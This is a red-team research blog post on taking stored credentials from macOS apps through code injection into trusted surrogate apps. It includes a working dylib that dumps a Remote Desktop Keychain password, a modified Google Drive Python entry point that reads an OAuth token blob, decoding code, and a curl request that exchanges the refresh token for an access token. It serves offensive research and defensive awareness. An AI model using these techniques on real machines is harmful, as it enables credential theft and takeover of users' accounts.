Blog

Getting What You’re Entitled To: A Journey Into MacOS Stored Credentials

21/02/2020 | Author: Admin

Getting What You’re Entitled To: A Journey Into MacOS Stored Credentials

Introduction

Credential recovery is a common tactic for red team operators and of particular interest are persistently stored, remote access credentials as these may provide an opportunity to move laterally to other systems or resources in the network or Cloud. Much research has been done in to credential recovery on Windows, however MacOS tradecraft has been much less explored.

In this blog post we will explore how an operator can gain access to credentials stored within MacOS third party apps by abusing surrogate applications for code injection, including a case study of Microsoft Remote Desktop and Google Drive.

Microsoft Remote Desktop

On using the Remote Desktop app, you will note that it has the ability to store credentials for RDP sessions, as shown below:

The stored credentials for these sessions are not visible within the app, but they can be used without elevation or any additional prompts from the user:

With this in mind, it stands to reason that the app can legitimately access the stored credentials, and if we have the opportunity to perform code injection, we may be able to leverage this to reveal the plaintext.

The first step in exploring how these credentials are being saved is to explore the app’s sandbox container to determine if they exist in the file system in any way.

A simple “grep -ir contoso.com *” reveals the string contained within the Preferences/com.microsoft.rdc.mac.plist plist file; converting it to plaintext with plutil -convert xml1 Preferences/com.microsoft.rdc.mac.plist we can explore what’s going on:

Inside the plist file we can find various details regarding the credential, but unfortunately no plaintext password; it’d be nice if it were this easy.

The next step is to open up the Remote Desktop app inside our disassembler so we can find what’s going on.

We know, based on the above, that the saved entries are known as bookmarks within the app, so it doesn’t take long to discover a couple of potentially interesting methods that look like they’re handling passwords:

Diving in to the KeychainCredentialLoader::getPasswordForBookmark() method, we can see that, amongst other things, it calls a method called getPassword():

Inside getPassword(), we see it attempts to discover a Keychain item by calling the findPasswordItem() method which uses SecKeychainSearchCreateFromAttributes() to find the relevant Keychain item and eventually copies out its content:

Based on what we’ve learned, we now understand that the passwords for the RDP sessions are stored in the Keychain; we can confirm this using the Keychain Access app:

However, we can’t actually access the saved password without elevation, or can we?

Retrieving the Password

Looking at the Access Control tab, we can see that the Microsoft Remote Desktop.app is granted access to this item and doesn’t require the Keychain password to do it:

Going back to our original theory, if we can inject into the app then we can piggy back off its access to retrieve this password from the Keychain. However, code injection on MacOS is not so trivial and Apple have done a good job of locking this down when the appropriate security controls are in place, namely SIP and with the appropriate entitlements or with a hardened runtime being enabled. These options prevent libraries that are not signed by Apple or the same team ID as the app from being injected.

Fortunately for us, verifying this with codesign -dvvv –entitlements :- /Applications/Microsoft\ Remote\ Desktop.app/Contents/MacOS/Microsoft\ Remote\ Desktop we find that no such protections are in place meaning that we can use the well-known DYLD_INSERT_LIBRARIES technique to inject our dynamic library.

A simple dylib to search for the Keychain item based on the discovered bookmarks may look as follows:

#import "hijackLib.h"

@implementation hijackLib :NSObject

-(void)dumpKeychain {

    NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
    (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
    (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
    (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
    @"dc.contoso.com", (__bridge id)kSecAttrLabel,
    (__bridge id)kSecClassInternetPassword,(__bridge id)kSecClass,
    nil];
    
    NSDictionary *keychainItem = nil;
    OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, (void *)&keychainItem);
    
    if(status != noErr)
    {
        return;
    }
    
    NSData* passwordData = [keychainItem objectForKey:(id)kSecValueData];
    NSString * password = [[NSString alloc] initWithData:passwordData encoding:NSUTF8StringEncoding];
    NSLog(@"%@", password);
}
@end

void runPOC(void) {
    [[hijackLib alloc] dumpKeychain];
}

__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
    runPOC();
    exit(0);
}

Compiling up this library and injecting it via DYLD_INSERT_LIBRARIES, we can reveal the plaintext password stored in the Keychain:

Google Drive

The previous example was relatively trivial as the Remote Desktop app did not incorporate any of the runtime protections to prevent unauthorised code injection. Let’s take a look at another example.

If we take a look at the metadata and entitlements for the Google Drive app, we can see that the app uses a hardened runtime:

$ codesign -dvvv --entitlements :- '/Applications//Backup and Sync.app/Contents/MacOS/Backup and Sync'

Executable=/Applications/Backup and Sync.app/Contents/MacOS/Backup and Sync
Identifier=com.google.GoogleDrive
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20500 size=546 flags=0x10000(runtime) hashes=8+5 location=embedded

According to Apple….

The Hardened Runtime, along with System Integrity Protection (SIP), protects the runtime integrity of your software by preventing certain classes of exploits, like code injection, dynamically linked library (DLL) hijacking, and process memory space tampering.

My colleague, Adam Chester previously talked about how we can achieve code injection to a surrogate application when these protections aren’t in place, but in this instance the hardened runtime means that if we try the previous DYLD_INSERT_LIBRARIES or Plugins technique described by Adam, it will fail and we can no longer inject in to the process using the loader. But is there an alternate route?

Taking a closer look at the Google Drive app, we discover the following in the app’s Info.plist:

<key>PyRuntimeLocations</key>
    <array>
<string>@executable_path/../Frameworks/Python.framework/Versions/2.7/Python</string>
    </array>

We also note an additional Python binary in the /Applications/Backup and Sync.app/Contents/MacOS folder:

-rwxr-xr-x@  1 dmc  staff  49696 23 Dec 04:00 Backup and Sync
-rwxr-xr-x@  1 dmc  staff  27808 23 Dec 04:00 python

So what’s going on here is that the Backup and Sync app for Google Drive is actually a python based application, likely compiled using py2app or similar.

Let’s look if this offers us any opportunities to perform code injection.

Analysis

Reviewing the app, we discover the only python source file is ./Resources/main.py which performs the following:

from osx import run_googledrive

if __name__ == "__main__":
  run_googledrive.Main()

Unfortunately, we can’t just modify this file because it lives inside a SIP protected directory; however, we can simply copy the whole app to a writeable folder and it will maintain the same entitlements and code signature; let’s copy it to /tmp.

With the copy of the app in the /tmp folder, we edit the main.py to see if we can modify the Python runtime:

if __name__ == "__main__":
  print('hello hackers')
  run_googledrive.Main()

Running the app, we can see we have Python execution:

/t/B/C/Resources $ /tmp/Backup\ and\ Sync.app/Contents/MacOS/Backup\ and\ Sync
/tmp/Backup and Sync.app/Contents/Resources/lib/python2.7/site-packages.zip/wx/_core.py:16633: UserWarning: wxPython/wxWidgets release number mismatch
hello hackers
2020-02-21 09:11:36.481 Backup and Sync[89239:2189260] GsyncAppDeletegate.py : Finder debug level logs : False
2020-02-21 09:11:36.652 Backup and Sync[89239:2189260] Main bundle path during launch: /tmp/Backup and Sync.app

Now that we know we can execute arbitrary python without invalidating the code signature, can we abuse this somehow?

Abusing the Surrogate

Taking a look in the Keychain, we discover that the app has several stored items, including the following which is labelled as “application password”. The access control is set such that the Google Drive app can recover this without authentication:

Let’s look how we can use a surrogate app to recover this.

Reviewing how the the app loads its Python packages, we discover the bundled site-packages resource in ./Resources/lib/python2.7/site-packages.zip, if we unpack this we can get an idea of what’s going on.

Performing an initial search for “keychain” reveals several modules containing the string, including osx/storage/keychain.pyo and osx/storage/system_storage.pyo; the one we’re interested in is system_storage.pyo, keychain.pyo, which is a Python interface to the keychain_ext.so shared object that provides the native calls to access the Keychain.

Decompiling and looking at system_storage.pyo we discover the following:

from osx.storage import keychain
LOGGER = logging.getLogger('secure_storage')

class SystemStorage(object):

    def __init__(self, system_storage_access=None):
        pass

    def StoreValue(self, category, key, value):
        keychain.StoreValue(self._GetName(category, key), value)

    def GetValue(self, category, key):
        return keychain.GetValue(self._GetName(category, key))

    def RemoveValue(self, category, key):
        keychain.RemoveValue(self._GetName(category, key))

    def _GetName(self, category, key):
        if category:
            return '%s - %s' % (key, category)
        return key

With this in mind, let’s modify the main.py to try retrieve the credentials from the Keychain:

from osx import run_googledrive
from osx.storage import keychain

if __name__ == "__main__":
  print('[*] Poking your apps')
  key = “xxxxxxxxx@gmail.com"
  value = '%s' % (key)
  print(keychain.GetValue(value))
  #run_googledrive.Main()

This time when we run the app, we get some data back which appears to be base64 encoded:

Let’s dive deeper to find out what this is and whether we can use it.

Searching for where the secure_storage.SecureStorage class is used we find the TokenStorage class, which includes the method:

def FindToken(self, account_name, category=Categories.DEFAULT):
    return self.GetValue(category.value, account_name)

The TokenStorage class is then used within the common/auth/oauth_utils.pyo module in the LoadOAuthToken method:

def LoadOAuthToken(user_email, token_storage_instance, http_client):
    if user_email is None:
        return
    else:
        try:
            token_blob = token_storage_instance.FindToken(user_email)
            if token_blob is not None:
                return oauth2_token.GoogleDriveOAuth2Token.FromBlob(http_client, token_blob)

Taking a look at the oauth2_toke.GoogleDriveOAuth2Token.FromBlob method we can see what’s going on:

@staticmethod
def FromBlob(http_client, blob):
    if not blob.startswith(GoogleDriveOAuth2Token._BLOB_PREFIX):
        raise OAuth2BlobParseError('Wrong prefix for blob %s' % blob)
    parts = blob[len(GoogleDriveOAuth2Token._BLOB_PREFIX):].split('|')
    if len(parts) != 4:
        raise OAuth2BlobParseError('Wrong parts count blob %s' % blob)
    refresh_token, client_id, client_secret, scope_blob = (base64.b64decode(s) for s in parts)

Essentially, the blob that we recovered from the Keychain is a base64 copy of the refresh token, client_id and client_secret amongst other things. We can recover these using:

import base64

_BLOB_PREFIX = '2G'
blob = ‘2GXXXXXXXXXXXXX|YYYYYYYYYYYYYY|ZZZZZZZZZZZ|AAAAAAAAAA='

parts = blob[len(_BLOB_PREFIX):].split('|')
refresh_token, client_id, client_secret, scope_blob = (base64.b64decode(s) for s in parts)
print(refresh_token)
print(client_id)
print(client_secret)

The refresh token can then be used to request a new access token to provide access to the Google account as the user:

$ curl https://www.googleapis.com/oauth2/v4/token \
                                    -d client_id=11111111111.apps.googleusercontent.com \
                                    -d client_secret=XXXXXXXXXXXXX \
                                    -d refresh_token=‘1/YYYYYYYYYYYYY' \
                                    -d grant_type=refresh_token
{
  "access_token": “xxxxx.aaaaa.bbbbb.ccccc",
  "expires_in": 3599,
  "scope": "https://www.googleapis.com/auth/googletalk https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/contactstore.readonly",
  "token_type": "Bearer"
}

Conclusions

During this research, we reviewed how operators can recover credentials from a MacOS device’s Keychain without elevation, by abusing code injection to surrogate applications. While Apple provides some protections to limit code injection, these are not always fully effective when leveraging a surrogate application that already has the necessary entitlements to access stored resources.

We’ll cover this and more MacOS tradecraft in our upcoming Adversary Simulation and Red Team Tactics training at Blackhat USA.

This blog post was written by Dominic Chell.

Ready to start testing your applications?

Speak to one of our industry experts and find out how MDSec can help your business.

+44 (0) 1625 263 503

contact@mdsec.co.uk